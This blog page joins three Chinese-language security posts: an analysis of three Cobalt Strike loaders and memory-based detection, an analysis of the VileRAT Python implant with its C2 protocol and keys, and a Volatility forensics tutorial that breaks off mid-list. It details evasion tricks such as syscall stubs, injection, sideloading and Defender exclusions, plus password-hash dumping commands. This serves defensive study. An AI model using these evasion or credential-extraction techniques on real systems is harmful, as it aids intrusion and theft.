Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112553

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1.png

Unit 42研究人員檢查了幾個包含Cobalt Strike組件的惡意軟件樣本,並發現通過分析進程中關鍵執行工件可以捕獲這些樣本。

cobalt strike(簡稱CS)是一款團隊作戰滲透測試神器,分為客戶端及服務端,一個服務端可以對應多個客戶端,一個客戶端可以連接多個服務端。它不僅在紅隊中流行,而且也被用於惡意目的。

儘管該工具包只出售給受信任的組織進行安全測試,但由於源代碼洩露,它的各種組件不可避免地進入了攻擊者的武器庫,從勒索軟件組織到國家支持的攻擊組織。濫用Cobalt Strike的惡意軟件甚至在2020年臭名昭著的SolarWinds供應鏈攻擊事件發揮了作用。

為什麼是Cobalt Strike? Cobalt Strike之所以被如此廣泛的利用,主要是因為Cobalt Strike集成了端口轉發、掃描多模式端口Listener、Windows exe程序生成、Windows dll動態鏈接庫生成、java程序生成、office宏代碼生成,包括站點複製獲取瀏覽器的相關信息等。由於它的設計是從底層開始的,所以攻擊者會定期使用它引入新的規避技術。

Cobalt Strike的主要優點之一是,一旦初始加載程序被執行,它主要在內存中運行。當有效負載是靜態防護的、僅存在於內存中並且拒絕執行時,這種情況會給檢測帶來問題。這對許多安全軟件產品來說都是一個挑戰,因為掃描內存絕非易事。

在許多情況下,Cobalt Strike是在目標網絡中獲得初始足蹟的自然選擇。攻擊者可以使用具有大量部署和混淆選項的構建器,根據可定制的模板創建最終有效負載。

該有效負載通常以加密或編碼的形式嵌入到文件加載程序中。當受害者執行文件加載程序時,它將有效負載解密/解碼到內存中並運行它。由於有效負載以其原始形式存在於內存中,因此由於某些特定功能,可以很容易地檢測到它。

作為惡意軟件研究人員,我們經常看到潛在的有趣的惡意樣本,結果只是Cobalt Strike的加載程序。通常也不清楚加載程序是由紅隊創建的還是真正的攻擊者創建的,因此使歸因更具挑戰性。

接下來我們將深入研究三種不同的Cobalt Strike加載程序,它們是由我們設計的一個新的基於管理程序的沙箱檢測到的,該沙箱允許我們分析內存中的工件。每個示例加載不同的植入類型,即SMB、HTTPS和stager信標。我們將這些Cobalt Strike裝載程序稱為KoboldLoader, MagnetLoader和LithiumLoader。我們還將討論可以用來檢測這些有效負載的一些方法。

KoboldLoader SMB信標以以下樣本為例

SHA256: 7ccf0bbd0350e7dbe91706279d1a7704fe72dcec74257d4dc35852fcc65ba292

這個64位KoboldLoader可執行文件使用各種已知的技巧來繞過沙盒,並使分析過程更加耗時。

為了繞過隻掛鉤高級用戶模式函數的沙盒,它只調用內置API函數。為了使分析人員的工作更加困難,它通過哈希而不是使用純文本字符串來動態解析函數。惡意軟件包含調用以下函數的代碼:

2.png

該惡意軟件創建了兩個單獨的函數哈希/地址對錶。一個表包含所有內置函數的一對,而第二個表只包含Nt*個函數對。

對於所使用的Rtl*函數,它循環遍歷第一個表並蒐索函數哈希以獲得函數地址。對於使用的Nt*函數,它遍歷第二個表並同時增加一個計數器變量。

當找到哈希時,它將獲取計數器值,即相應內置函數的系統調用號,並輸入自定義系統調用存根。這有效地繞過了許多沙盒,即使掛接了較低級別的內置函數而不是高級函數。

加載程序的整體功能相對簡單,並使用映射注入來運行負載。它生成Windows工具sethc.exe的子進程,創建一個新部分,並將解密的Cobalt Strike信標加載程序映射到其中。 Cobalt Strike加載程序的最終執行是通過調用RtlCreateUserThread來加載SMB信標的。

內存中的規避功能通過新的基於管理程序的沙盒,我們能夠在內存中檢測到解密的Cobalt Strike SMB信標。這個信標加載程序甚至使用了一些內存中的規避功能,創建了一種奇怪的嵌合體文件。雖然它實際上是一個DLL,但“MZ”神奇的PE字節和隨後的DOS標頭被一個小的加載程序shellcode覆蓋,如下圖所示。

3.png

解密的Cobalt Strike SMB信標shellcode

shellcode加載程序跳轉到導出的函數DllCanUnloadNow,該函數在內存中準備SMB信標模塊。為此,它首先加載Windows pla.dll庫,並清空代碼段(.text)中的一大塊字節。然後,它將信標文件寫入該blob並修復導入地址表,從而創建一個可執行內存模塊。

在分析該文件的過程中,我們可以找出所使用的一些內存內規避功能,如下表所示。

4.png

內存內規避功能

總之,信標加載程序和信標本身是同一個文件。 PE標頭的部分用於跳轉到導出函數的shellcode,該函數反過來在Windows DLL中創建自己的模塊。最後,shellcode跳轉到信標模塊的入口點,在內存中執行它。

如上所述,我們沒有辦法成功檢測我們的KoboldLoader示例的信標,除非我們可以在執行過程中查看內存內部。

MagnetLoader我們將研究的第二個加載程序是一個模仿合法庫的64位DLL。

SHA256:6c328aa7e903702358de31a388026652e82920109e7d34bb25acdc88f07a5e0

這個MagnetLoader示例試圖在一些方面看起來像Windows文件mscms.dll,通過使用以下類似的功能:

相同的文件描述;

一個具有許多相同函數名的導出表;

幾乎相同的資源;

一個非常相似的互斥鎖;

這些功能也顯示在下圖中,其中惡意軟件文件與有效的mscml.dll進行了對比。

5.png

MagnetLoader(左)和mscml.dll(右)的文件描述、導出表和資源的比較

MagnetLoader不僅嘗試靜態地模擬合法的Windows庫,而且在運行時也如此。

MagnetLoader的所有導出函數內部調用相同的主要惡意軟件例程。當調用其中一個時,首先運行DLL入口點。在入口點,惡意軟件加載原始的mscms.dll,並解析它所偽造的所有函數。

這些原始函數的地址在執行偽方法後被存儲和調用。因此,每當調用MagnetLoader的導出函數時,它都會運行主惡意軟件例程,然後調用mscms.dll中的原始函數。

主要的惡意軟件例程相對簡單。它首先創建了一個名為SM0:220:304:WilStaging_02_p1h的互斥體,看起來與mscms.dll創建的原始互斥體非常相似。

Cobalt Strike信標加載程序被解密到內存緩衝區中,並在一個已知的技巧的幫助下執行。加載程序沒有直接調用信標加載程序,而是使用Windows API函數EnumChildWindows來運行它。

該函數包含三個參數,其中一個是回調函數。惡意軟件可能濫用此參數,通過回調函數間接調用地址,從而隱藏執行流程。

LithiumLoader最後一個Cobalt Strike示例是DLL側加載鏈的一部分,其中使用了一種安全軟件的自定義安裝程序。 DLL側加載是一種劫持合法應用程序以運行獨立的惡意DLL的技術。

SHA256: 8129 bd45466c2676b248c08bb0efcd9ccc8b684abf3435e290fcf4739c0a439f

這個32位的LithiumLoader DLL是由攻擊者自定義創建的Fortinet VPN安裝包的一部分,該安裝包以FortiClientVPN_windows.exe (SHA256: a1239c93d43d657056e60f6694a73d9ae0fb304cb6c1b47ee2b38376ec21c786)的形式提交給VirusTotal。

FortiClientVPN_windows.exe文件不是惡意的或被破壞的。由於該文件是簽名的,攻擊者利用它來逃避反病毒檢測。

安裝程序是一個自解壓縮RAR存檔,包含以下文件:

6.png

FortiClientVPN_windows.exe文件內容

自解壓腳本命令如下:

7.png

自解壓腳本命令列表

當安裝程序運行時,所有文件都會被無聲地放到本地%AppData%文件夾中,兩個可執行文件都會啟動。當FortiClient VPN安裝程序執行時,WinGup工具側加載libcurl.dll LithiumLoader惡意軟件。惡意軟件之所以這樣做,是因為它從libcurl庫的合法副本中導入了以下函數,如下圖所示:

8.png

導入WinGup.exe的地址表

此威脅還試圖通過PowerShell將%AppData%文件夾路徑添加到Windows防禦器中的排除列表中。

在啟動GUP.exe時,惡意的libcurl.dll文件被加載到進程空間中,因為它靜態地導入上圖所示的函數。雖然所有四個libcurl函數都在運行,但只有curl_easy_cleanup包含在編譯庫的新版本時注入的惡意例程。因此,我們不是在處理合法DLL的打了補丁的版本。這是一種更乾淨的解決方案,不會像在其他惡意軟件中經常看到的那樣,在插入惡意程序後破壞代碼。

這個curl_easy_cleanup函數通常只包含一個子例程(Curl_close),並且沒有返回值(如其在GitHub上的源代碼所示)。修改後的函數如下圖所示。

9.png

修改了libcurl.dll的curl_easy_cleanup導出函數

load_shellcode函數通過XOR和密鑰0xA解密shellcode,如下圖所示。

10.png

Shellcode加載程序函數load_shellcode()

這個函數通過EnumSystemGeoID間接運行Cobalt Strike階段shellcode,而不是直接跳轉到它。這個Windows API函數有三個參數,最後一個參數是一個被LithiumLoader濫用的回調函數。

Cobalt Strike stagershellcode是從Metasploit借來的,是反向的HTTP外殼負載,它使用以下API函數:

11.png

shellcode連接到以下URL,其中包含泰國一所大學的IP地址

LithiumLoader檢測問題在本文發佈時,Cobalt Strike信標的有效負載已不再可用。如果API調用的執行報告中沒有有效負載或任何可操作的信息,沙盒通常很難確定樣本是否惡意。這個示例本身沒有任何可以被歸類為惡意的功能。

通過內存分析尋找Cobalt Strike在這三個例子中都存在一些常見的檢測挑戰。這些示例不能在正常的沙盒環境中執行。但是正如我們所討論的,如果我們在執行期間查看內存內部,就可以使用大量的信息進行檢測,比如函數指針、已解碼的加載程序階段和其他工件。

為了準確地檢測,研究人員發現解決高度規避惡意軟件的一個關鍵功能是,除了使用系統API更好地理解所發生的事情外,還需要在執行樣本時查看內存。

12.png

研究人員發現,在惡意軟件檢測中,查看執行關鍵點的內存增量,以提取有意義的信息和工件是很有用的。當我們的系統處理大量的樣本時,要實現大規模的工作有很多挑戰。接下來,我們將詳細介紹目前從內存中收集的一些主要類型的數據,以幫助檢測。儘管我們在本文介紹的是通過內存方法,但我們絕不是說檢測和記錄API調用對檢測沒有用。

自動有效負載提取如上所述,惡意軟件開發者混淆其有效負載越來越普遍。雖然使用可執行打包器可以壓縮和模糊文件來實現這一點並不新鮮,但當它與逃避策略結合使用時就會出現問題,因為沒有對準確檢測有用的靜態或動態數據。

編碼、壓縮、加密或下載額外的執行階段的策略有無限的組合。為這些有效負載製作簽名的能力顯然是分析師能夠從Cobalt Strike等框架中捕獲大量不同惡意軟件組件的重要方式。如果我們能在內存中捕捉到它們,那麼惡意軟件最終決定不執行也無所謂。

下面簡化圖顯示了我們可能在兩個階段中看到的示例,這些階段在初始可執行文件中從未出現過。

13.png

可以在打包的惡意軟件可執行文件中看到的典型階段

在圖的左側,我們看到了一個shellcode階段的示例。儘管“shellcode”一詞最初是為利用漏洞在目標系統上彈出外殼而手工製作的程序集而創造的,但該詞已演變為包含任何為惡意目的編寫的自定義程序集。一些惡意軟件階段是沒有可識別的可執行結構的自定義程序集。惡意軟件開發者採用這種方法的常見模式是將所有函數指針動態解析到一個表中,以便於訪問。

在圖的右側,我們看到後期是一個格式良好的可執行文件的示例。一些惡意軟件階段或有效負載是格式良好的可執行文件。這些可以由OS通過系統API加載,或者惡意軟件開發者可能會使用他們自己的PE加載程序,如果他們試圖隱蔽地避免調用任何API來為他們加載。

函數指針數據我們可以從內存中提取的另一組用於檢測的豐富數據是動態解析函數指針,如下圖所示。惡意軟件的開發者很久以前就知道,如果他們顯式地調用他們計劃在導入表中使用的所有WINAPI函數,它就會被用來對付他們。現在的標準做法是隱藏惡意軟件或其任何階段將使用的功能。

Shellcode哈希是另一種常見的隱蔽策略,用於解析函數的指針而不需要它們的字符串。

14.png

可能在內存段中看到的動態解析WINAPI指針示例

在Advanced WildFire中,我們已經開始有選擇地搜索和使用在我們的檢測邏輯中解析了哪些WINAPI函數指針的信息。

操作系統結構修改研究人員從分析內存中發現的另一個有用的檢測數據來源是尋找對Windows記賬結構的任何更改(惡意軟件開發者喜歡混淆這些!)。這些結構對於OS維護進程的狀態非常重要,例如加載了哪些庫、加載了可執行映像的位置以及OS稍後可能需要了解的進程的其他各種特徵。考慮到這些字段中的許多都不應該被修改,跟踪惡意軟件樣本何時以及如何操作它們通常很有用。

下圖顯示了示例如何從LDR模塊列表中卸載它加載的模塊。取消查找模塊意味著不再存在該模塊存在的記錄。例如,這樣做之後,Windows中的任務管理器將不再列出它。

此圖僅是研究人員所看到的許多不同的OS結構修改中的一種,但它表明有許多不同類型的OS結構更改對惡意軟件檢測問題有用。

15.png

如何將模塊從LDR模塊列表中解關聯的示例

頁面權限最後,檢測數據的另一個有用來源是對頁面權限所做的所有更改的完整日誌。打包惡意軟件的開發者通常需要更改內存權限,以便正確加載和執行進一步的階段。了解哪些內存頁的權限發生了更改,通常可以提供有關代碼加載和執行位置的重要見解,這對檢測非常有用。

總結儘管Cobalt Strike已經存在多年,但檢測它對許多安全軟件提供商來說仍然是一個挑戰。這是因為該工具主要在內存中工作,不太接觸磁盤。

本文介紹了三種新的加載程序,並展示瞭如何使用各種技術檢測它們,這些檢測技術在新的基於管理程序的沙盒中可用。

vilerat_featured-1200x600.jpg

VileRAT:一個複雜的Python植入物VileRAT是來自DeathStalker的複雜同名攻擊鏈的最後一個已知階段。它是一個經過混淆和打包的Python3RAT,與py2exe捆綁為一個獨立的二進製文件。研究人員在2020年第二季度首次發現它,隨後它也被其他供應商命名為PyVil。

關於VileRAT的介紹嵌入在py2exe捆綁二進製文件中的Python庫(DLL)通常來自官方Python版本。在分析VileRAT示例時,我們注意到它的PythonDLL是Python3.7源代碼的自定義編譯:DLL版本被標記為“heads/3.7-dirty”而不是官方發布的“tags/v3.7.4”,並引用縮短的Git提交ID“0af9bef61a”。這個縮短的提交ID與標準CPython實現的3.7分支的源代碼存儲庫中的一個匹配,該實現的日期為2020年5月23日。考慮到這個提交日期,以及在2020年第二季度首次發現VileRAT,研究人員相信VileRAT是在2020年6月首次部署的。

解包VileRAT當我們第一次遇到VileRAT時,我們注意到所有用於Python3的常用反編譯工(uncompille6、decompyle3和unpyc37等都無法從VileRAT字節碼中正確檢索Python源代碼。

VileRAT的第1階段已在Python字節碼級別進行了混淆,目的是破壞現有的反編譯器。字節碼通過以下方式混淆:

添加多個在執行時沒有任何影響的操作(中立操作)和無用數據;

添加令人困惑的分支和異常處理程序;

在執行期間永遠不會到達的部分中插入無效的字節碼,反編譯器仍然嘗試反編譯,但失敗。

24.png

VileRAT的第1階段Python字節碼,原始形式(左)和反混淆形式(右),只需看紅色部分即可

一旦在字節碼級別進行了清理,VileRAT解包的第1階段就可以被正確反編譯為Python代碼:

25.png

VileRAT嵌入不少於三層的包裝。目的就是使Python腳本(VileRAT)難以從人類角度分析,這也是DeathStalker的獨特做法,考慮到他們也對感染鏈的所有其他步驟進行了相同的嘗試,證明這是慣用做法。

最後的解包步驟最終提取了VileRAT的Python代碼和它在內存中的整個依賴包,所有這些內容導致綁定py2ex的VileRAT樣本的重量大約為12MB。使用第二類算法解包利用解碼和BZIP2解壓縮。最後的VileRAT Python包包含一個conf.pyc模塊,其中包括一個版本號,以及默認的C2域名:

26.png

VileRAT版本和函數

通過分析並比較了各種VileRAT示例,版本號是從2.4到8。雖然版本號跨度這麼大,但VileRAT的功能沒有太大變化,研究人員分析的最早示例中的一些功能實際上已經被刪除,例如將SSH用作C2通道,或者截圖,後者現在在VileLoader中實現,其餘功能包括:

1.使用現有或下載的二進製文件執行任意遠程命令;

2.建立與遠程服務器的SSH連接,可能利用它們將目標計算機的端口轉發到遠程服務器;

鍵盤記錄;

3.使用計劃任務設置持久性;

4.列出安裝在目標計算機上的安全解決方案;

5.從C2服務器自我更新。

6.VileRAT有五種不同的專有執行模式,可從命令行啟用,所有這些模式都可以通過來自C2的附加命令開關、參數或數據進一步更改:

命令行選項、內部名稱和執行模式說明如下:

1.-a, enc_cmd_dataRUN_CMD_AS_USER_ARG,任意命令執行:“命令”一詞範圍很廣:它可以是一個現有的二進製文件、一個shell命令、一個下載的可執行文件、一個Python包,或者一個內部的VileRAT函數。為了指定“命令”,一個JSON字典作為可選參數傳遞。有些命令將通過再次啟動VileRAT(使用一組不同的命令選項)來執行。執行完成後,VileRAT退出。

2.-l,enc_cmd_data_rssRUN_R_SSH_SHELL_ARG,SSH連接測試:VileRAT啟動自己的一個新進程,它連接到一個遠程SSH服務器(使用一個私鑰),然後關閉連接。這個SSH連接在以前的示例中用作C2通道,但是在最近的示例中刪除了C2邏輯。為了指定SSH連接設置,將傳遞一個JSON字典作為可選參數。執行完成後,VileRAT退出。

3.-r,enc_cmd_data_rdsRUN_R_DYN_SSH_ARG,SSH隧道本地端口轉發:VileRAT啟動自己的一個新進程,它連接到遠程SSH服務器(使用密碼)。此連接用作將端口從目標計算機轉發到遠程服務器的隧道。為了指定SSH連接設置,JSON字典作為可選參數傳遞。一旦遠程端至少連接到轉發端口一次,VileRAT就會退出,然後關閉連接。

4.-c,cp_exe_path,任意文件刪除:VileRAT嘗試刪除一個文件,其路徑以明文命令參數的形式給出。當文件被刪除或達到最大嘗試次數(10)時,VileRAT將退出。

5.-t,rtsIS_TASK_SCHED_ARG,C2主客戶端模式:這是VileRAT的主要執行模式。它定期在C2服務器上輪詢要執行的命令。可以執行的命令是此表中描述的命令之一(RUN_R_SSH_SHELL_ARG、RUN_CMD_AS_USER_ARG、RUN_R_DYN_SSH_ARG),或其他VileRAT內部更新命令之一。 CMD_UPDATE_SVC從C2下載的包觸發(部分或完整)VileRAT更新,而CMD_UPDATE_CONF可以更新內部延遲並在C2需要時啟用鍵盤記錄器。

正如我們在2022年確定的那樣,在一個典型的VileRAT第一次執行中,植入程序從以下參數開始:

28.png

請注意,在這種情況下,作為第一個參數傳遞的目標標識符實際上並未被VileRAT利用,攻擊者可能只是使用它來輕鬆識別稍後運行的VileRAT進程。較舊的VileRAT變體通常使用顯式的“-f”和“-t”命令行開關啟動,這些現在是隱式的並默認啟用。

以下是研究人員發現的VileRAT版本發展過程中一些值得注意的變化,除了定期更新以修復代碼錯誤或處理未捕獲的異常、重構代碼、更新依賴項和更改配置:

1.在2.4和2.7版之間,VileRAT釋放了使用遠程SSH服務器作為C2通道的功能,以及截圖實現;

2.在3.0版中,用於各種加密例程的base64編碼RC4密鑰從“Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=”更改為“XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”,並在編碼方案中添加了額外的XOR通道(使用第2類算法)。重構了VileRAT遠程更新機制,增加了一個額外的命令開關(稱為pmode);

3.在3.7版中,研究人員最初確定用於2.4版本的特定Chrome版本和Trezor錢包偵察功能被從代碼中刪除,VileRAT失去了從運行它的文件系統上提供的文件進行更新的能力;

4.在5.4版中,生成UUID類型標識符的方式發生了變化;

5.在6.5版中,添加了一個額外的命令開關(稱為jmode);

6.在6.6版中,“-f”和“-t”命令選項默認啟用。

VileRATHTTPC2協議VileRAT的主C2通信循環,在主C2客戶端模式下執行,非常簡單,並且在一個單獨的線程中運行:

1.每隔2-5分鐘,VileRAT會嘗試向其配置中存在的每個C2服務器發送HTTPPOST請求,直到有一個響應或列表用盡。環境數據嵌入到一個JSON字典中,使用RC4加密,使用第二類的XOR算法編碼,base64編碼和URL編碼,最後設置為HTTP請求URL路徑;

2.C2服務器可能會響應一個HTTP響應,其正文可以包含一個編碼和加密的JSON數組。如果是這樣,JSON必須至少包含一個要執行的命令。

29.png

VileRATC2請求準備函數

就像在VileLoader中一樣,HTTP請求中的User-Agent值是從可能值的固定列表中隨機選擇的。傳遞給C2服務器的JSON可以分解如下:

30.png

簡單介紹一下VileRAT的基礎設施

我們尋找了可以從收集的示例(惡意DOCX文件、DOTM文件及其宏、VileDropper、VileLoader或VileRAT)中檢索到的C2域中的特性,這些特性在本報告中有所描述。我們忽略了2021年10月中旬之前註冊的域名,因為其中大部分已經在公共來源中被披露,所有已知的惡意域名和IP都在下面的攻擊指標部分中完整列出。值得注意的是,迄今為止,我們已經確定了數百個與VileRAT攻擊鏈相關的域。

這使我們能夠確定一些可能的VileRAT特定的基礎設施創建偏好:

1.最遲從2021年10月開始,DeathStalker基礎設施IP均屬於AS42159(DELTAHOSTUA,位於NL)。根據研究人員的分析,DeathStalker可能早在2021年6月就開始利用具有來自該AS(以及其他AS)的IP地址的服務器;

2.惡意域名通常在NAMECHEAP、PorkbunLLC或PDRLtd.批量註冊(同一天多個域);

3.許多惡意域名試圖偽裝成看似合法的數字服務提供商名稱(例如“azcloudazure[.]com”或“amzbooks[.]org”),其中一些表示可能試圖利用全球關注的事件進行攻擊活動(例如“weareukrainepeople[.]com”或“covidsrc[.]com”);

4.大多數時候域使用似乎是分開的,一個域僅用於攻擊DOCX/DOTM、VileLoader或VileRAT,並且可能表明攻擊者希望將其操作緊密聚集在一起。但是所有這些域通常都指向一組非常有限的IP地址;

5.研究人員通過對惡意活動期間暴露在C2IP上的服務特徵的快速分析,注意到一些常見的簽名:HTTP服務發送的內容和標頭值的組合只能針對此類惡意基礎設施進行檢索。

VileRAT的目標從2021年8月至今,在保加利亞、塞浦路斯、德國、格林納丁斯、科威特、馬耳他、阿拉伯聯合酋長國和俄羅斯聯邦發現了10個受攻擊或目標組織。

31.png

DeathStalker的VileRAT活動所針對的組織區域分佈(較深的顏色表示較高的集中度)

研究人員目前還無法對所有已確定的組織進行分析,但其中一半是外匯(FOREX)和加密貨幣交易所經紀人。一些已識別的惡意文檔和基礎架構域包含目標組織的名稱,並確認了這一目標。

值得注意的是,被確認的機構包括近期的初創公司和老牌行業領袖,包括可疑的加密貨幣交易平台。從我們手頭有限的數據來看,確定這樣的組織是極其困難的,因為一個小型FOREX公司可能在不同的國家託管其基礎設施,僱傭幾個來自不同國家的遠程工作人員,並合法地設在避稅天堂。

歸因當研究人員在2020年6月首次發現VileRAT時,一開始將植入物和相關攻擊鏈歸因於DeathStalker。這主要是因為它與先前已知的EVILNUM活動的相似性,比如LNK文件中的常見特定元數據,類似的TTP——尤其是利用GoogleDrive文件和虛假角色的魚叉式網絡釣魚方法,受害者特徵也一樣。 EVILNUM活動和DeathStalker之間的聯繫已經在我們之前的文章中介紹過。

如上述分析所述,研究人員仍然高度相信所描述的更新植入物和相關攻擊鍊是由DeathStalker開發和運營的,原因如下:

1.本次活動所使用的主要植入物(VileLoader和VileRAT)是之前分析過的內容的更新,並且仍然與之前的樣本共享大量代碼和實現細節;

2.上述感染鏈的各個組件(DOCX、啟用宏的DOTM、VileDropper)共享了之前被DeathStalker用作其他活動(尤其是PowerSing和PowerPepper)一部分的實現邏輯和技術;

3.使用受害者從電子郵件中下載的惡意文檔作為攻擊媒介;

4.向遠程服務器發送攻擊進度和錯誤信號;

5.使用類似實現的XOR算法進行字符串混淆,在DOTM宏中,以及以前記錄的PowerPepper加載程序中;

6.利用Office對象屬性作為隱藏數據源;

7.使用具有預設常量的類似哈希函數,在VileDropper中生成目標標識符,在PowerSing中解碼IP地址。

總結1.VileRAT及其加載程序和相關攻擊鏈在兩年多的時間裡不斷且頻繁地更新,並且仍然被用來持續針對外幣和加密貨幣交易經紀人,其目的是逃避檢測。

2.逃避檢測一直是DeathStalker的目標,VileRAT活動足以證明這一切,毫無疑問,它是我們迄今為止發現的最成功的逃避檢測成功的攻擊,使用了最複雜、混淆手段最多和試探性規避的技術。從使用VBA和JS進行最先進的混淆,到使用Python進行多層和基礎層打包,強大的多階段內存中PE加載程序以及安全供應商特定的啟發式繞過,讓分析者無所適從。

3.考慮到龐大且快速變化的相關基礎設施,毫無疑問,DeathStalker正在做出巨大的努力來開發和維護訪問。然而,也有一些小故障和不一致,比如最終負載超過10MB (VileRAT),簡單的感染載體,大量可疑的通信模式,嘈雜且容易識別的進程執行或文件部署,以及粗略的開發實踐留下的漏洞和需要頻繁的植入更新。因此,一個有效且正確設置的終端保護解決方案仍然能夠檢測和阻止VileRAT的大部分相關惡意活動。

一、环境安装

1.kali下安装Volatility2

注意:一般Volatility2比Volatility3好用 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python2 get-pip.py python2 -m pip install Crypto python2 -m pip install pycryptodome python2 -m pip install pytz python2 -m pip install Pillow  #PIL图形处理库 apt-get install pcregrep python2-dev #插件安装依赖库 python2 -m pip install distorm3  #反编译库 python2 -m pip install openpyxl  #读写excel文件 python2 -m pip install ujson #JSON解析 python2 -m pip  uninstall  yara  #恶意软件分类工具 python2 -m pip install  pycrypto  #加密工具集 python2 -m pip install construct  #mimikatz依赖库   # 在 https://github.com/virustotal/yara/releases 下载 YARA 压缩包 tar -zxf yara-4.4.0.tar.gz cd yara-4.4.0 sudo apt-get install automake libtool make gcc pkg-config sudo apt-get install flex bison libssl-dev ./bootstrap.sh ./configure make sudo make install sudo sh -c 'echo "/usr/local/lib" >> /etc/ld.so.conf' sudo ldconfig yara  -h   git  https://github.com/volatilityfoundation/volatility.git cd   volatility python2 setup.py install  

2.windows下安装

https://www.volatilityfoundation.org/releases fztwttr4mij13621.png  

二、常用命令使用

1. 查看内存镜像系统信息 volatility.exe   -f  worldskills3.vmem    imageinfo 5ilo21bjvfl13623.png 2.查看当前内存镜像注册表中用户名 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   printkey   -K  "SAM\Domains\Account\Users\Names" 1tvhvzne4dd13624.png 3.使用hashdump命令获取sam hash值 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  hashdump flshtnpk2is13626.png 4.使用lasdump命令查看密码明文 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64    lsadump bsokk21kqzv13627.png 5.查看网络连接状态信息 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   netscan
idqp2r3wsls13628.png 同时也可以查看到当前系统中存在挖矿进程,获取指向的矿池地址 nxdfupntbzh13629.png 6.查看当前系统主机名
主机名通过注册表查询,需先用hivelist(也可以查看内存镜像中的虚拟地址)查询 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  hivelist
3w0eo5kofqi13630.png 查看键名

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   -o   0xfffff8a000024010   printkey

owshz3ts1td13631.png volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   -o   0xfffff8a000024010   printkey  -K  "ControlSet001" mfpfxejg3tq13632.png volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   -o   0xfffff8a000024010   printkey  -K    "ControlSet001\Control " eyopqro41v313633.png volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   -o   0xfffff8a000024010   printkey  -K "ControlSet001\Control\ComputerName" f1qm54h35xf13634.png volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   -o   0xfffff8a000024010   printkey  -K "ControlSet001\Control\ComputerName\ComputerName" oygwyvswwyq13635.png

也可以直接通过 hivedump查询相应的键名, 但是查询非常费时间

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  hivedump -o 0xfffff8a000024010 > system.txt 7.获取当前系统IE浏览器存储的信息 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  iehistory 541x34ldhwn13636.png   8.查询系统服务名称 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   svcscan ejv3q2qkrip13638.png 9.从内存文件中找到异常程序植入到系统的开机自启痕迹 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  shimcache 2xinzxtze3v13640.png 10.查看父进程与子进程 注意:在进程中PPID比PID大,那就可能这个进程有异常程序 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  pstree
eqy2xb3zryk13643.png 11.查看程序版本信息 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  verinfo 5d1mhmnm5hi13644.png   12.通过 pslist命令查询进程 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  pslist 注意:可列举出系统进程,但它不能检测到隐藏或者解链的进程
2ik4icc51bj13647.png 也能进一步查到子进程的信息
volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   pslist -p 2588 ie2ce0nxkp013650.png

13.查看隐藏或解链的进程 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  psscan 或者
volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   psxview
注意:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程 00x5bpe2mtf13653.png kcmdr34gnt313656.png 14.显示cmd历史命令记录 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   cmdscan
或者 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64 consoles  #能看到指令的输入和输出   15.查看进程命令行参数 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  cmdline
0f1hfh3gyky13659.png 16.扫描内存系统中的所有文件列表 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  filescan rv52ygbkq4d13662.png 在linux系统中可使用filescan命令参数配合gerp命令进行搜索关键字 python2 vol.py    -f  worldskills3.vmem     --profile=Win7SP1x64      filescan |grep "flag" python2 vol.py    -f  worldskills3.vmem     --profile=Win7SP1x64 filescan | grep -E 'jpg|png|jpeg|bmp|gif' 32j0qlmfhf213665.png 搜索图片或者text python2 vol.py    -f  worldskills3.vmem     --profile=Win7SP1x64         filescan |grep -E 'txt' python2 vol.py    -f  worldskills3.vmem     --profile=Win7SP1x64         filescan |grep -E 'jpg' j5vzjrvceya13668.png 导出flag.txt文件 python2 vol.py    -f  worldskills3.vmem     --profile=Win7SP1x64     dumpfiles -Q  0x000000007f1b6c10  -D ./ foqifvb1g4n13670.png k3w1efa41x013672.png dump 出来的进程文件,建议使用 foremost 来分离里面的文件
17.查看文件内容(需要 filescan配合命令查询)

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   dumpfiles -Q 0xxxxxxxx -D ./

注意:需要指定偏移量 -Q 和输出目录 -D,dumpfiles:导出某一文件,指定虚拟地址

18.查看当前展示的notepad内容(win7不支持该命令)

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  notepad 19.显示有关编辑控件(曾经编辑过的内容)的信息

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  editbox

iaoiwi5npq213675.png    20.提取进程内容(需要pslist命令配合查询使用)

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   memdump -p 2588   --dump-dir=./

wfsouwirfyk13678.png注意:memdump:提取出指定进程,常用foremost 来分离里面的文件  ,需要指定进程-p [pid] 和输出目录 -D

提取出来的直接用strings是无法查看,需要添加-e参数

strings -e l 2626.dmp | grep flag

susl11nmlwv13681.png 

21.屏幕截图

